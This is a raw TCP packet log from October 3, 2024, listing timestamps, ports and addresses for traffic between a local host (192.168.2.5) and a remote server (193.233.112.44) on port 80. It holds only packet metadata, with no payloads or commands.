Oct 3, 2024 23:17:08.413485050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.413497925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.413522005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.413528919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.413568020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.427050114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.427093983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.427109003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.427119970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.427143097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.427143097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.427202940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.427217960 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.427233934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.427242041 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.427248955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.427249908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.427263021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.427299023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.427453041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.427499056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.427506924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.427537918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.427551031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.427572966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.427577019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.427608967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.427611113 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.427639008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.427647114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.427674055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.441207886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.441267967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.441323996 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.441358089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.441376925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.441397905 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.441422939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.441456079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.441492081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.441493034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.441524982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.441534996 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.441534996 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.441560030 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.441562891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.441601992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.441674948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.441706896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.441720963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.441741943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.441770077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.441776991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.441778898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.441812992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.441916943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.441950083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.441967010 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.441982985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.441988945 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.442017078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.442023039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.442050934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.442061901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.442095995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.442218065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.442250967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.442269087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.442285061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.442290068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.442320108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.442327976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.442357063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.442365885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.442400932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.442477942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.442528963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.460917950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.460968971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.460978985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.461004019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.461009026 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.461046934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.461118937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.461152077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.461169004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.461186886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.461194992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.461222887 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.461232901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.461267948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.461388111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.461420059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.461436987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.461453915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.461460114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.461489916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.461493969 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.461529970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.461535931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.461574078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.461836100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.461869955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.461889982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.461904049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.461909056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.461937904 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.461942911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.461972952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.461982965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.462006092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.462018013 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.462040901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.462052107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.462074995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.462086916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.462111950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.462122917 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.462147951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.462152004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.462184906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.462193966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.462229967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.462457895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.462491989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.462511063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.462526083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.462531090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.462562084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.462568045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.462596893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.462608099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.462641954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.484318018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.484396935 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.484406948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.484443903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.484450102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.484481096 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.484486103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.484518051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.484523058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.484556913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.484560013 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.484594107 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.484596968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.484631062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.484637022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.484667063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.484673023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.484702110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.484707117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.484741926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.484813929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.484848976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.484864950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.484884024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.484888077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.484919071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.484927893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.484956026 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485018969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485054016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485064030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485090971 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485152960 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485183001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485199928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485218048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485223055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485254049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485259056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485294104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485395908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485428095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485441923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485462904 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485486984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485496998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485501051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485532045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485538006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485574007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485642910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485676050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485680103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485708952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485730886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485743999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485749960 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485778093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485784054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485816956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485918999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485949039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.485961914 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.485985994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.503072977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.503108978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.503130913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.503143072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.503150940 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.503176928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.503184080 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.503213882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.503218889 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.503267050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.503283024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.503318071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.503328085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.503351927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.503359079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.503397942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.503426075 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.503457069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.503467083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.503493071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.503498077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.503526926 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.503537893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.503562927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.503571987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.503606081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.619805098 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.625210047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.976475954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.976521015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.976579905 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.976613998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.976644039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.976676941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.976711035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.976710081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.976746082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.976758957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.976771116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.976780891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.976798058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.976815939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.976830006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.976850986 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.976866007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.976902962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.976914883 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.976963043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.976967096 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.977015972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.047511101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.047552109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.047586918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.047619104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.047635078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.047658920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.047665119 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.047693968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.047744989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.047748089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.047781944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.047805071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.047832012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.047907114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.047939062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.047965050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.047971964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.047987938 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.048007011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.048023939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.048053026 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.048172951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.048204899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.048218012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.048238039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.048249960 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.048281908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.048332930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.048365116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.048377037 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.048399925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.048405886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.048432112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.048443079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.048468113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.048471928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.048510075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.048593044 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.048624039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.048634052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.048657894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.048664093 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.048691988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.048697948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.048732996 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.118906975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.118971109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.118982077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119003057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119014978 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119040966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119050980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119086981 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119093895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119123936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119141102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119167089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119174004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119208097 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119218111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119240999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119247913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119275093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119280100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119316101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119323015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119357109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119364023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119410992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119415045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119455099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119473934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119507074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119539976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119553089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119570971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119592905 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119606018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119609118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119641066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119651079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119683981 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119712114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119755983 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.119806051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.119837999 CEST	80	49710	193.233.112.44	192.168.2.5
